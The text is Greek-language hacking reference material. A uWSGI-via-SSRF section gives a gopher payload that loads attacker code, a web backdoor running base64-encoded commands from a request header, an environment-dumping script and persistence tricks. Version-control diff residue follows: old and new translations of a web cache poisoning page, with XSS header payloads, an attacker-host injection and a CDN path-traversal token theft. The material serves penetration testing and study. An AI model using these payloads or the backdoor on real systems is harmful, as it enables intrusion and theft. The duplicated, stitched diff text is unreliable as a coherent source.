Όταν uWSGI είναι προσβάσιμο μέσω SSRF (Server-Side Request Forgery), οι επιτιθέμενοι μπορούν να αλληλεπιδράσουν με το εσωτερικό uWSGI socket για να εκμεταλλευτούν magic variables. Αυτό είναι ιδιαίτερα επικίνδυνο όταν:
1. Η εφαρμογή έχει SSRF vulnerabilities
2. Το uWSGI τρέχει σε εσωτερική θύρα/socket
3. Η εφαρμογή δεν επικυρώνει σωστά τα magic variables
Το uWSGI είναι προσβάσιμο λόγω SSRF επειδή το config file `uwsgi.ini` περιέχει: `socket = 127.0.0.1:5000` κάνοντας το προσβάσιμο από την web εφαρμογή μέσω SSRF.
### Exploitation Example
#### Βήμα 1: Δημιουργία κακόβουλου payload
Πρώτα, εγχύστε Python code σε ένα αρχείο προσβάσιμο από τον server (file write μέσα στον server, η επέκταση του αρχείου δεν έχει σημασία):
```python
# Payload injected into a JSON profile file
import os
os.system("/readflag > /app/profiles/result.json")
```
#### Βήμα 2: Δημιουργία αιτήματος πρωτοκόλλου uWSGI
Χρησιμοποιήστε το πρωτόκολλο Gopher για να στείλετε raw πακέτα uWSGI:
```
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
```
Αυτό το payload:
- Συνδέεται στο uWSGI στην θύρα 5000
- Ορίζει την `UWSGI_FILE` ώστε να δείχνει στο κακόβουλο αρχείο
- Εξαναγκάζει το uWSGI να φορτώσει και να εκτελέσει τον κώδικα Python
### Δομή Πρωτοκόλλου uWSGI
Το πρωτόκολλο uWSGI χρησιμοποιεί δυαδική μορφή όπου:
- Οι μεταβλητές κωδικοποιούνται ως συμβολοσειρές με προθέμα μήκους
- Κάθε μεταβλητή έχει: `[name_length][name][value_length][value]`
- Το πακέτο ξεκινά με μια κεφαλίδα που περιέχει το συνολικό μέγεθος
## Post-Exploitation Techniques
### 1. Persistent Backdoors
#### File-based Backdoor
```python
# backdoor.py
import subprocess
import base64
def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = "Backdoor active"
start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]
```
Στη συνέχεια, χρησιμοποιήστε `UWSGI_FILE` για να φορτώσετε αυτό το backdoor:
```
uwsgi_param UWSGI_FILE /tmp/backdoor.py;
uwsgi_param SCRIPT_NAME /admin;
```
#### Persistence βάσει περιβάλλοντος
```
uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;
```
### 2. Αποκάλυψη Πληροφοριών
#### Εξαγωγή Μεταβλητών Περιβάλλοντος
```python
# env_dump.py
import os
import json
def application(environ, start_response):
env_data = {
'os_environ': dict(os.environ),
'wsgi_environ': dict(environ)
}
start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]
```
#### Πρόσβαση στο Σύστημα Αρχείων
Χρησιμοποιήστε `UWSGI_CHDIR` σε συνδυασμό με την εξυπηρέτηση αρχείων για να αποκτήσετε πρόσβαση σε ευαίσθητα αρχεία:
```
uwsgi_param UWSGI_CHDIR /etc/;
uwsgi_param UWSGI_FILE /app/file_server.py;
```
### 3. Privilege Escalation
#### Socket Manipulation
Εάν το uWSGI τρέχει με αυξημένα προνόμια, οι επιτιθέμενοι μπορεί να χειριστούν τα socket permissions:
```
uwsgi_param UWSGI_CHDIR /tmp;
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;
```
#### Αντικατάσταση Διαμόρφωσης
```python
# malicious_config.py
import os
# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'
```
## Αναφορές
- [uWSGI Magic Variables Documentation](https://uwsgi-docs.readthedocs.io/en/latest/Vars.html)
- [IOI SaveData CTF Writeup](https://bugculture.io/writeups/web/ioi-savedata)
- [uWSGI Security Best Practices](https://uwsgi-docs.readthedocs.io/en/latest/Security.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -6,71 +6,71 @@
> **Ποια είναι η διαφορά μεταξύ web cache poisoning και web cache deception;**
>
> - Στο **web cache poisoning**, ο επιτιθέμενος προκαλεί στην εφαρμογή να αποθηκεύσει κακόβουλο περιεχόμενο στην cache, και αυτό το περιεχόμενο σερβίρεται από την cache σε άλλους χρήστες της εφαρμογής.
> - Στο **web cache deception**, ο επιτιθέμενος προκαλεί στην εφαρμογή να αποθηκεύσει ευαίσθητο περιεχόμενο που ανήκει σε άλλον χρήστη στην cache, και στη συνέχεια ο επιτιθέμενος ανακτά αυτό το περιεχόμενο από την cache.
> - Στο **web cache poisoning**, ο επιτιθέμενος κάνει την εφαρμογή να αποθηκεύσει κακόβουλο περιεχόμενο στο cache, και αυτό το περιεχόμενο σερβίρεται από το cache σε άλλους χρήστες της εφαρμογής.
> - Στο **web cache deception**, ο επιτιθέμενος κάνει την εφαρμογή να αποθηκεύσει ευαίσθητο περιεχόμενο που ανήκει σε άλλον χρήστη στο cache, και στη συνέχεια ο επιτιθέμενος ανακτά αυτό το περιεχόμενο από το cache.
## Cache Poisoning
Cache poisoning στοχεύει στο να χειραγωγήσει την client-side cache ώστε να εξαναγκάσει τους clients να φορτώσουν πόρους που είναι απρόσμενοι, μερικοί ή υπό τον έλεγχο ενός επιτιθέμενου. Η έκταση της επίπτωσης εξαρτάται από τη δημοφιλία της επηρεασμένης σελίδας, καθώς η μολυσμένη response σερβίρεται αποκλειστικά στους χρήστες που επισκέπτονται τη σελίδα κατά τη διάρκεια της περιόδου μόλυνσης της cache.
Το cache poisoning στοχεύει στον χειρισμό του client-side cache ώστε να αναγκαστούν οι clients να φορτώσουν πόρους που είναι απρόσμενοι, μερικοί, ή υπό τον έλεγχο του επιτιθέμενου. Το εύρος του αντίκτυπου εξαρτάται από τη δημοφιλία της επηρεασμένης σελίδας, καθώς η μολυσμένη απάντηση σερβίρεται αποκλειστικά σε χρήστες που επισκέπτονται τη σελίδα κατά την περίοδο μόλυνσης του cache.
Η εκτέλεση μιας επίθεσης cache poisoning περιλαμβάνει αρκετά βήματα:
1. **Identification of Unkeyed Inputs**: Αυτές είναι παράμετροι που, αν και δεν απαιτούνται για να γίνει cache ένα request, μπορούν να αλλάξουν την response που επιστρέφει ο server. Ο εντοπισμός αυτών των inputs είναι κρίσιμος καθώς μπορούν να εκμεταλλευτούν για να χειραγωγήσουν την cache.
2. **Exploitation of the Unkeyed Inputs**: Αφού εντοπιστούν οι unkeyed inputs, το επόμενο βήμα είναι να βρεις πώς να κακοποιήσεις αυτές τις παραμέτρους για να τροποποιήσεις τη response του server με τρόπο ωφέλιμο για τον επιτιθέμενο.
3. **Ensuring the Poisoned Response is Cached**: Το τελικό βήμα είναι να εξασφαλίσεις ότι η χειραγωγημένη response αποθηκεύεται στην cache. Με αυτόν τον τρόπο, οποιοσδήποτε χρήστης προσπελάσει την επηρεασμένη σελίδα ενώ η cache είναι μολυσμένη θα λάβει τη μολυσμένη response.
1. **Εντοπισμός εισόδων που δεν συμπεριλαμβάνονται στο κλειδί**: Πρόκειται για παραμέτρους που, αν και δεν απαιτούνται για την αποθήκευση ενός request στο cache, μπορούν να αλλάξουν την απάντηση που επιστρέφει ο server. Η αναγνώριση αυτών των εισόδων είναι κρίσιμη καθώς μπορούν να εκμεταλλευτούν για να χειριστούν το cache.
2. **Εκμετάλλευση των εισόδων που δεν συμπεριλαμβάνονται στο κλειδί**: Μετά τον εντοπισμό των εισόδων αυτών, το επόμενο βήμα είναι να βρεις πώς να κακομεταχειριστείς αυτές τις παραμέτρους για να τροποποιήσεις την απάντηση του server με τρόπο που ωφελεί τον επιτιθέμενο.
3. **Εξασφάλιση ότι η μολυσμένη απάντηση θα αποθηκευτεί στο cache**: Το τελικό βήμα είναι να εξασφαλιστεί ότι η παραποιημένη απάντηση θα αποθηκευτεί στο cache. Με αυτόν τον τρόπο, οποιοσδήποτε χρήστης επισκέπτεται την επηρεασμένη σελίδα ενώ το cache είναι μολυσμένο θα λάβει την μολυσμένη απάντηση.
### Ανακάλυψη: Check HTTP headers
### Ανακάλυψη: Έλεγχος HTTP headers
Συνήθως, όταν μια response έχει **αποθηκευτεί στην cache** θα υπάρχει ένα **header που το υποδεικνύει**, μπορείς να ελέγξεις ποια headers πρέπει να προσέξεις σε αυτό το post: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
Συνήθως, όταν μια απάντηση έχει **αποθηκευτεί στο cache** θα υπάρχει ένα **header που το δηλώνει**, μπορείς να δεις σε ποια headers πρέπει να δώσεις προσοχή σε αυτό το άρθρο: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
### Ανακάλυψη: Caching error codes
### Ανακάλυψη: Αποθήκευση κωδικών σφάλματος στο cache
Αν νομίζεις ότι η response αποθηκεύεται σε cache, μπορείς να δοκιμάσεις να **send requests with a bad header**, τα οποία θα πρέπει να απαντηθούν με **status code 400**. Έπειτα δοκίμασε να προσπελάσεις το request κανονικά και αν η **response είναι status code 400**, ξέρεις ότι είναι ευάλωτο (και θα μπορούσες ακόμα και να εκτελέσεις ένα DoS).
Αν νομίζεις ότι η απάντηση αποθηκεύεται σε cache, μπορείς να δοκιμάσεις να **στείλεις requests με ένα κακό header**, που θα πρέπει να απαντηθεί με **status code 400**. Έπειτα δοκίμασε να προσπελάσεις το αίτημα κανονικά και αν η **απάντηση είναι status code 400**, ξέρεις ότι είναι ευάλωτο (και θα μπορούσες ακόμα και να εκτελέσεις DoS).
Μπορείς να βρεις περισσότερες επιλογές στο:
You can find more options in:
{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}
Ωστόσο, σημείωσε ότι **μερικές φορές αυτού του είδους οι status codes δεν αποθηκεύονται στην cache**, οπότε αυτό το τεστ μπορεί να μην είναι αξιόπιστο.
Ωστόσο, σημείωσε ότι **μερικές φορές αυτοί οι τύποι status codes δεν αποθηκεύονται στο cache**, οπότε αυτό το τεστ ίσως να μην είναι αξιόπιστο.
### Ανακάλυψη: Identify and evaluate unkeyed inputs
### Ανακάλυψη: Εντοπισμός και αξιολόγηση εισόδων που δεν συμπεριλαμβάνονται στο κλειδί
Μπορείς να χρησιμοποιήσεις [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) για να **brute-force parameters and headers** που μπορεί να **αλλάζουν την response της σελίδας**. Για παράδειγμα, μια σελίδα μπορεί να χρησιμοποιεί το header `X-Forwarded-For` για να υποδείξει στον client να φορτώσει το script από εκεί:
Μπορείς να χρησιμοποιήσεις το [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) για να **brute-force παραμέτρους και headers** που μπορεί να **αλλάζουν την απάντηση της σελίδας**. Για παράδειγμα, μια σελίδα μπορεί να χρησιμοποιεί το header `X-Forwarded-For` για να υποδείξει στον client να φορτώσει το script από εκεί:
```html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### Elicit a harmful response from the back-end server
### Προκαλέστε μια επιβλαβή απάντηση από τον back-end server
Μετά τον εντοπισμό της παράμετρου/κεφαλίδας, ελέγξτε πώς **φιλτράρεται** και **πού** **αντανακλάται** ή επηρεάζει την απόκριση από την κεφαλίδα. Μπορείτε να το καταχραστείτε (εκτελέσετε XSS ή φορτώσετε JS που ελέγχετε; προκαλέσετε DoS;...)
Αφού εντοπίσετε το parameter/header, ελέγξτε πώς **φιλτράρεται** και **πού** **ανακλάται** ή επηρεάζει την απόκριση από το header. Μπορείτε να το εκμεταλλευτείτε; (να εκτελέσετε XSS ή να φορτώσετε JS κώδικα που ελέγχετε; να πραγματοποιήσετε DoS;...)
### Get the response cached
Μόλις έχετε **εντοπίσει** τη **σελίδα** που μπορεί να καταχραστεί, ποια **παράμετρος**/**κεφαλίδα** να χρησιμοποιήσετε και **πώς** να την **καταχραστείτε**, πρέπει να βάλετε τη σελίδα στην cache. Ανάλογα με τον πόρο που προσπαθείτε να βάλτε στην cache αυτό μπορεί να πάρει λίγο χρόνο, ίσως χρειαστεί να προσπαθείτε για αρκετά δευτερόλεπτα.
Μόλις έχετε **εντοπίσει** την **σελίδα** που μπορεί να εκμεταλλευτεί, ποιο **parameter**/**header** να χρησιμοποιήσετε και **πώς** να το **εκμεταλλευτείτε**, πρέπει να κάνετε την σελίδα να μπει στην cache. Ανάλογα με τον πόρο που προσπαθείτε να βάλετε στην cache αυτό μπορεί να πάρει χρόνο — ίσως χρειαστεί να δοκιμάζετε για αρκετά δευτερόλεπτα.
Η κεφαλίδα **`X-Cache`** στην απόκριση μπορεί να είναι πολύ χρήσιμη καθώς μπορεί να έχει την τιμή **`miss`** όταν το request δεν είχε cache και την τιμή **`hit`** όταν είναι cached.\
Η κεφαλίδα **`Cache-Control`** είναι επίσης ενδιαφέρουσα για να γνωρίζετε αν ένας resource cacheάρεται και πότε θα γίνει η επόμενη cache: `Cache-Control: public, max-age=1800`
Το header **`X-Cache`** στην απόκριση μπορεί να είναι πολύ χρήσιμο καθώς μπορεί να έχει την τιμή **`miss`** όταν το αίτημα δεν ήταν cached και την τιμή **`hit`** όταν είναι cached.\
Το header **`Cache-Control`** είναι επίσης ενδιαφέρον για να ξέρετε αν ένας πόρος γίνεται cache και πότε θα γίνει ξανά: `Cache-Control: public, max-age=1800`
Μια ακόμα ενδιαφέρουσα κεφαλίδα είναι η **`Vary`**. Αυτή η κεφαλίδα συχνά χρησιμοποιείται για να **υποδείξει επιπλέον κεφαλίδες** που θεωρούνται **μέρος του cache key** ακόμα κι αν συνήθως δεν είναι keyed. Επομένως, αν ο χρήστης γνωρίζει το `User-Agent` του θύματος που στοχεύει, μπορεί να poison the cache για τους χρήστες που χρησιμοποιούν αυτό το συγκεκριμένο `User-Agent`.
Ένα ακόμα ενδιαφέρον header είναι το **`Vary`**. Αυτό το header χρησιμοποιείται συχνά για να **υποδείξει επιπλέον headers** που θεωρούνται **μέρος του cache key** ακόμα και αν κανονικά δεν είναι keyed. Επομένως, αν ο επιτιθέμενος γνωρίζει το `User-Agent` του victim που στοχεύει, μπορεί να poison the cache για τους χρήστες που χρησιμοποιούν αυτόν τον συγκεκριμένο `User-Agent`.
Άλλη μία κεφαλίδα σχετική με την cache είναι η **`Age`**. Ορίζει τον χρόνο σε δευτερόλεπτα που το αντικείμενο βρίσκεται στην proxy cache.
Άλλο ένα header σχετικό με την cache είναι το **`Age`**. Ορίζει τα δευτερόλεπτα που το αντικείμενο βρίσκεται στην proxy cache.
Όταν κάνετε cache ένα request, να είστε **προσεκτικοί με τις κεφαλίδες που χρησιμοποιείτε** γιατί μερικές απ' αυτές θα μπορούσαν να **χρησιμοποιηθούν απροσδόκητα** ως **μέρος του cache key** και το **θύμα θα χρειαστεί να χρησιμοποιήσει την ίδια κεφαλίδα**. Πάντα **δοκιμάζετε** ένα Cache Poisoning με **διαφορετικά προγράμματα περιήγησης** για να ελέγξετε αν λειτουργεί.
Όταν κάνετε caching ένα request, να είστε **προσεκτικοί με τα headers που χρησιμοποιείτε** γιατί κάποια από αυτά μπορεί να χρησιμοποιηθούν **αναπάντεχα** ως **keyed** και ο **victim θα χρειαστεί να χρησιμοποιήσει το ίδιο header**. Πάντα **test** ένα Cache Poisoning με **διαφορετικούς browsers** για να ελέγξετε αν δουλεύει.
## Exploiting Examples
## Παραδείγματα εκμετάλλευσης
### Easiest example
### Το πιο απλό παράδειγμα
Μια κεφαλίδα όπως η `X-Forwarded-For` αντανακλάται στην απόκριση χωρίς φιλτράρισμα.\
Μπορείτε να στείλετε ένα βασικό XSS payload και poison the cache ώστε όποιος επισκέπτεται τη σελίδα να υποστεί XSS:
Ένα header όπως το `X-Forwarded-For` ανακλάται στην απόκριση χωρίς φιλτράρισμα.\
Μπορείτε να στείλετε ένα βασικό XSS payload και να poison the cache έτσι ώστε όλοι όσοι επισκέπτονται τη σελίδα να υποστούν XSS:
```html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```
_Σημειώστε ότι αυτό θα poison ένα request προς `/en?region=uk` και όχι προς `/en`_
_Σημειώστε ότι αυτό θα poison-άρει ένα request προς `/en?region=uk` και όχι προς `/en`_
### Cache poisoning to DoS
@ -79,25 +79,25 @@ _Σημειώστε ότι αυτό θα poison ένα request προς `/en?reg
cache-poisoning-to-dos.md
{{#endref}}
### Cache poisoning through CDNs
### Cache poisoning μέσω CDNs
Στο **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** εξηγείται το ακόλουθο απλό σενάριο:
In **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** it's explained the following simple scenario:
- Το CDN θα αποθηκεύει στην cache οτιδήποτε κάτω από `/share/`
- Το CDN ΔΕΝ θα αποκωδικοποιήσει ούτε θα κανονικοποιήσει το `%2F..%2F`, επομένως μπορεί να χρησιμοποιηθεί ως **path traversal to access other sensitive locations that will be cached** όπως `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- Ο web server ΘΑ αποκωδικοποιήσει και θα κανονικοποιήσει το `%2F..%2F`, και θα απαντήσει με `/api/auth/session`, το οποίο **contains the auth token**.
- Ο CDN θα αποθηκεύσει στην cache οτιδήποτε κάτω από `/share/`
- Ο CDN ΔΕΝ θα αποκωδικοποιήσει ούτε θα κανονικοποιήσει το `%2F..%2F`, επομένως μπορεί να χρησιμοποιηθεί ως **path traversal για πρόσβαση σε άλλες ευαίσθητες τοποθεσίες που θα αποθηκευτούν στην cache** όπως `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- Ο web server ΘΑ αποκωδικοποιήσει και θα κανονικοποιήσει το `%2F..%2F`, και θα απαντήσει με `/api/auth/session`, το οποίο **περιέχει το auth token**.
### Using web cache poisoning to exploit cookie-handling vulnerabilities
### Χρήση web cache poisoning για εκμετάλλευση cookie-handling vulnerabilities
Τα Cookies μπορούν επίσης να αντανακλώνται στην απόκριση μιας σελίδας. Αν μπορείτε να το εκμεταλλευτείτε για να προκαλέσετε, για παράδειγμα, μια XSS, θα μπορούσατε να εκμεταλλευτείτε την XSS σε αρκετούς clients που φορτώνουν την κακόβουλη απόκριση της cache.
Τα Cookies μπορούν επίσης να ανακλαστούν στην απάντηση μιας σελίδας. Αν μπορείτε να το εκμεταλλεύσετε ώστε να προκαλέσετε, για παράδειγμα, ένα XSS, θα μπορούσατε να εκμεταλλεύσετε το XSS σε πολλούς clients που φορτώνουν την κακόβουλη cache response.
```html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
Σημειώστε ότι αν το ευάλωτο cookie χρησιμοποιείται πολύ από τους χρήστες, τα τακτικά αιτήματα θα καθαρίζουν το cache.
Σημειώστε ότι αν το ευάλωτο cookie χρησιμοποιείται πολύ από τους χρήστες, τα συνηθισμένα αιτήματα θα καθαρίζουν την cache.
### Generating discrepancies with delimiters, normalization and dots <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Δημιουργία αποκλίσεων με διαχωριστές, κανονικοποίηση και τελείες <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Δείτε:
@ -106,20 +106,20 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### Cache poisoning με path traversal για να κλέψετε API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Cache poisoning με path traversal για κλοπή API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) πώς ήταν δυνατό να κλαπεί ένα OpenAI API key με ένα URL όπως `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` επειδή οτιδήποτε που ταιριάζει με `/share/*` θα αποθηκεύεται στο cache χωρίς το Cloudflare να ομαλοποιεί το URL, κάτι που γινόταν όταν το αίτημα έφτανε στον web server.
[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) πώς ήταν δυνατό να κλαπεί ένα OpenAI API key με ένα URL όπως `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` επειδή οτιδήποτε που ταιριάζει με `/share/*` θα γίνεται cached χωρίς το Cloudflare να κανονικοποιεί το URL, κάτι που γινόταν όταν το αίτημα έφτανε στον web server.
Αυτό εξηγείται καλύτερα και στο:
Αυτό εξηγείται επίσης καλύτερα στο:
{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### Using multiple headers to exploit web cache poisoning vulnerabilities <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Χρήση πολλαπλών headers για εκμετάλλευση web cache poisoning vulnerabilities <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Μερικές φορές θα χρειαστεί να **exploit several unkeyed inputs** για να μπορέσετε να καταχραστείτε το cache. Για παράδειγμα, μπορεί να βρείτε ένα **Open redirect** αν ορίσετε το `X-Forwarded-Host` σε ένα domain που ελέγχετε και το `X-Forwarded-Scheme` σε `http`. **Αν** ο **server** **προωθεί** όλα τα **HTTP** αιτήματα **σε HTTPS** και χρησιμοποιεί την κεφαλίδα `X-Forwarded-Scheme` ως το domain name για την ανακατεύθυνση, μπορείτε να ελέγξετε προς ποια διεύθυνση δείχνει η σελίδα μέσω της ανακατεύθυνσης.
Μερικές φορές θα χρειαστεί να **exploit several unkeyed inputs** για να μπορέσετε να καταχραστείτε μια cache. Για παράδειγμα, μπορεί να βρείτε έναν **Open redirect** αν ορίσετε το `X-Forwarded-Host` σε ένα domain που ελέγχετε και το `X-Forwarded-Scheme` σε `http`. **If** ο **server** κάνει **forwarding** όλων των **HTTP** αιτημάτων **to HTTPS** και χρησιμοποιεί την κεφαλίδα `X-Forwarded-Scheme` ως το domain για το redirect, μπορείτε να ελέγξετε προς ποια διεύθυνση δείχνει η σελίδα μέσω του redirect.
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
@ -128,7 +128,7 @@ X-Forwarded-Scheme: http
```
### Εκμετάλλευση με περιορισμένο `Vary`header
Αν διαπιστώσεις ότι το **`X-Host`** header χρησιμοποιείται ως **όνομα domain για τη φόρτωση ενός JS resource** αλλά το **`Vary`** header στην απάντηση υποδεικνύει **`User-Agent``. Τότε χρειάζεται να βρεις τρόπο να exfiltrate τον `User-Agent` του victim και να poison την cache χρησιμοποιώντας αυτόν τον user agent:
Αν διαπιστώσετε ότι το header **`X-Host`** χρησιμοποιείται ως **όνομα domain για να φορτώσει ένα JS resource** αλλά το header **`Vary`** στην απάντηση υποδεικνύει **`User-Agent`**, τότε πρέπει να βρείτε έναν τρόπο να exfiltrate το User-Agent του θύματος και να poison the cache χρησιμοποιώντας αυτόν τον user agent:
```html
GET / HTTP/1.1
Host: vulnerbale.net
@ -137,7 +137,7 @@ X-Host: attacker.com
```
### Fat Get
Στείλε ένα GET αίτημα με τα δεδομένα τόσο στο URL όσο και στο σώμα. Αν ο web server χρησιμοποιεί αυτά από το σώμα, αλλά ο cache server κάνει cache αυτά από το URL, οποιοσδήποτε που προσπελάσει αυτό το URL θα χρησιμοποιήσει στην πραγματικότητα την παράμετρο από το σώμα. Όπως το vuln που βρήκε ο James Kettle στο Github:
Στείλτε ένα GET request με το request στο URL και στο body. Αν ο web server χρησιμοποιεί την τιμή από το body αλλά ο cache server αποθηκεύει στην cache την τιμή από το URL, οποιοσδήποτε που έχει πρόσβαση σε εκείνο το URL θα χρησιμοποιήσει στην πραγματικότητα την παράμετρο από το body. Όπως το vuln που βρήκε ο James Kettle στο Github website:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@ -146,11 +146,11 @@ Content-Length: 22
report=innocent-victim
```
Υπάρχει ένα PortSwigger lab γι' αυτό: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
There is a portswigger lab για αυτό: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
### Parameter Cloacking
Για παράδειγμα, είναι δυνατόν να διαχωριστούν οι **parameters** σε ruby servers χρησιμοποιώντας τον χαρακτήρα **`;`** αντί για **`&`**. Αυτό μπορεί να χρησιμοποιηθεί για να τοποθετήσετε τιμές μη-κλειδωμένων parameters μέσα σε κλειδωμένα και να τα εκμεταλλευτείτε.
Για παράδειγμα, είναι δυνατό να διαχωριστούν οι **parameters** σε ruby servers χρησιμοποιώντας τον χαρακτήρα **`;`** αντί για **`&`**. Αυτό μπορεί να χρησιμοποιηθεί για να τοποθετηθούν τιμές μη-κλειδοποιημένων parameters μέσα σε κλειδωμένες παραμέτρους και να γίνει κατάχρηση.
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
@ -160,49 +160,49 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo
### Automated testing for Web Cache Poisoning
Το [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) μπορεί να χρησιμοποιηθεί για αυτόματο έλεγχο για web cache poisoning. Υποστηρίζει πολλές διαφορετικές τεχνικές και είναι ιδιαίτερα παραμετροποιήσιμο.
Ο [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) μπορεί να χρησιμοποιηθεί για αυτόματο έλεγχο για web cache poisoning. Υποστηρίζει πολλές διαφορετικές τεχνικές και είναι ιδιαίτερα παραμετροποιήσιμο.
Example usage: `wcvs -u example.com`
Παράδειγμα χρήσης: `wcvs -u example.com`
### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
Αυτό το μοτίβο από πραγματικά περιβάλλοντα συνδέει ένα header-based reflection primitive με τη συμπεριφορά ενός CDN/WAF για να δηλητηριάσει αξιόπιστα το cached HTML που σερβίρεται σε άλλους χρήστες:
Αυτό το πραγματικό pattern συνδέει ένα header-based reflection primitive με τη συμπεριφορά του CDN/WAF για να poison αξιόπιστα το cached HTML που σερβίρεται σε άλλους χρήστες:
- Το κύριο HTML αντέστρεφε ένα μη-έμπιστο request header (π.χ., `User-Agent`) σε εκτελέσιμο context.
- Το CDN αφαίρεσε τα cache headers αλλά υπήρχε εσωτερικό/origin cache. Το CDN επίσης auto-cached requests που τελειώνουν σε static extensions (π.χ., `.js`), ενώ το WAF εφάρμοζε ασθενέστερο content inspection για GETs στα static assets.
- Ατέλειες στη ροή των requests επέτρεψαν σε ένα αίτημα προς μονοπάτι `.js` να επηρεάσει το cache key/variant που χρησιμοποιήθηκε για το επόμενο main HTML, επιτρέποντας cross-user XSS μέσω header reflection.
- Το κύριο HTML αντανάκλασε ένα μη-αξιόπιστο request header (π.χ., `User-Agent`) σε εκτελέσιμο context.
- Το CDN αφαίρεσε τα cache headers αλλά υπήρχε εσωτερικό/origin cache. Το CDN επίσης auto-cached requests που τελείωναν σε static extensions (π.χ., `.js`), ενώ το WAF έκανε πιο χαλαρή content inspection σε GETs για static assets.
- Ιδιαιτερότητες της ροής των requests επέτρεψαν ένα request σε `.js` path να επηρεάσει το cache key/variant που χρησιμοποιήθηκε για το επόμενο κύριο HTML, επιτρέποντας cross-user XSS μέσω header reflection.
Practical recipe (observed across a popular CDN/WAF):
Πρακτική συνταγή (παρατηρήθηκε σε ένα δημοφιλές CDN/WAF):
1) Από ένα clean IP (αποφύγετε προηγούμενες ποινές βάσει reputation), ορίστε ένα malicious `User-Agent` μέσω browser ή Burp Proxy Match & Replace.
2) Στο Burp Repeater, προετοιμάστε ένα group δύο requests και χρησιμοποιήστε "Send group in parallel" (το single-packet mode δουλεύει καλύτερα):
- First request: GET a `.js` resource path on the same origin while sending your malicious `User-Agent`.
- Immediately after: GET the main page (`/`).
